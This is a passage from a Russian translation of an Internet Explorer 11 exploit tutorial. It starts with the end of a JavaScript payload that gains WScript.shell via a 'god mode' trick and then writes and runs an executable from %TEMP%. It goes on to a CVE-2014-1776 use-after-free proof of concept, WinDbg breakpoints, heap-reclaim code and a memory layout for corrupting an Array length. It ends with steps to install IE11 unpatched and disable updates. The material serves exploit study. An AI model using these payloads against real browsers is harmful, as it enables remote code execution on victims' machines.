      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

Я обрезал runcalc. Вы можете загрузить полный код отсюда:

code5

Попробуйте код, и он должен работать просто великолепно!

Ошибка UAF

Мы будем использовать ошибку UAF, которую я нашел здесь:

https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master

Вот POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Включите флаги HPA и UST для iexplore.exe в gflags:

Когда мы откроем страницу в IE, IE откажет здесь:

MSHTML!CMarkup::IsConnectedToPrimaryMarkup:
0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ crash!
0aa9a24a 56              push    esi
0aa9a24b 85c0            test    eax,eax
0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]
0aa9a256 85c0            test    eax,eax

ECX указывает на освобожденный объект. Давайте определим размер объекта:

0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428

Таким образом, размер объекта 0x428 байта.

Вот трассировка стека:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

Теперь мы должны найти точку для установки брейкпоинта, который сработает точно при наступлении crash. Это необходимо потому, что когда мы удаляем флаг HPA, ECX будет указывать на строку по нашему выбору.

Давайте начнем с установки следующего брейка, прежде чем мы разрешим заблокированное содержимое в IE:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

Контрольная точка сработает много раз перед отказом. Кроме того, если мы кликнем по странице в IE, контрольная точка будет инициирована еще несколько раз. Лучше поместить начальную контрольную точку на родительский вызов, который вызывается только после того, как мы разрешаем заблокированное содержимое в IE. Следующая контрольная точка кажется подходящей:

bp MSHTML!CBase::put_BoolHelper

Когда контрольная точка сработает, установите также следующую контрольную точку:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

Эта последняя контрольная точка сработает 3 раза, прежде чем мы достигнем точки (и времени) отказа. Так, с этого времени мы можем использовать следующий брейк:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

Если попробуете, Вы увидите, что это работает отлично!

Теперь мы можем наконец попытаться установить ECX на нашу строку. Но перед продолжением отключите два флага HPA и UST:

Вот измененный код JavaScript:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
                
                var elem = document.createElement("div");
                elem.className = new Array(0x428/2).join("a");
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Не забудьте устанавливать следующую контрольную точку:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

Когда контрольная точка инициирована, Вы должны видеть что-то подобное этому:

Ошибка UAF (2)

Мы должны будем проанализировать ошибку в IDA.

На этот раз я не покажу Вам, как я определил содержание строки шаг за шагом, потому что это будет очень утомительно, и Вы не изучите ничего полезного. Сначала я покажу Вам соответствующие графики так, чтобы Вы могли следить за моими рассуждениями даже без IDA, и затем я покажу Вам полную “схему” для эксплойта UAF и изменения длины выбранного Array.

Откройте mshtml в IDA, затем нажмите Ctrl+P (Jump to function), щелкните по Search и введите CMarkup::IsConnectedToPrimaryMarkup. Дважды щелкните по функции, и Вы будете видеть место crash:

Узлы с цветным фоном - единственные узлы, код которых мы выполняем. Розовые узлы содержат crash, тогда как celeste (голубые) узлы содержат инструкцию перезаписи, которую мы будем использовать, чтобы изменить длину выбранного Array.

Щелкните по подписи IsConnectedToPrimaryMarkup, нажмите Ctrl+X и выберите CMarkup:: OnCssChange (см. трассировку стека выше). Вот график OnCssChange:

Вот график CMarkup::IsPendingPrimaryMarkup:

Затем график CMarkup::Root:

Вот график CElement::EnsureFormatCacheChange:

И, наконец, вот график CView:: AddInvalidationTask, функции, которая содержит инструкцию перезаписи (inc):

Вот схема, которую я предлагаю:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0
            [Y+630h+248h] = [Y+878h] val to inc!      <======
            [Y+630h+380h] = [Y+9b0h] has bit 16 set
            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
            [Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] has bit 1 set & bit 4 unset
            [W+44h] has bit 7 set
            [W+5ch] is writable
[ptr+198h] has bit 12 set

Обратите внимание на первые 2 строки:

X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0

Здесь ptr - это висящий указатель (который должен указывать на нашу строку). Эти две строки означают: [Y + 208h] должен быть 0, где Y - значение из X + 0ch, где X - значение из ptr + 0a4h.

Поиск такой схемы может занять много времени, и может потребоваться немного проб и ошибок. Цель состоит в том, чтобы разработать схему, которая приведет к выполнению перезаписи, а затем возобновит выполнение кода javascript без каких-либо сбоев.

Это хорошая идея начать с определения обязательных узлов (в IDA), тоесть узлов, которые должны быть на пути выполнения. Затем вы можете определить условия, которые должны быть выполнены, чтобы убедиться, что эти узлы принадлежат пути выполнения. После того, как вы это сделаете, вы начнете изучать график и увидите, какие подпути подходят для соединения обязательных узлов.

Глядя на графики и следуя пути выполнения, Вы должны проверить, что схема выше работает правильно.

Перевод: dreamseller

Внимание: По дефолту IE11 не устанавливается без обновлений!
В обновленном IE данный write-up не актуален (отсутствует jscript9!ScriptSite::CreateActiveXObject и т.д., скорее всего не работает UAF)
Поэтому делаем так:

  1. Из exe достаем cab
IE11-Windows6.1-x64-en-us.exe /x:c:\temp\ie11
  1. Ставим ручками
dism.exe /online /add-package /packagepath:"c:\temp\ie11\ie-win7.cab" /norestart
  1. Запрещаем обновляться винде(через автообновление) и ишаку (см. пункт меню About Internet Explorer…)
  2. Рестартуем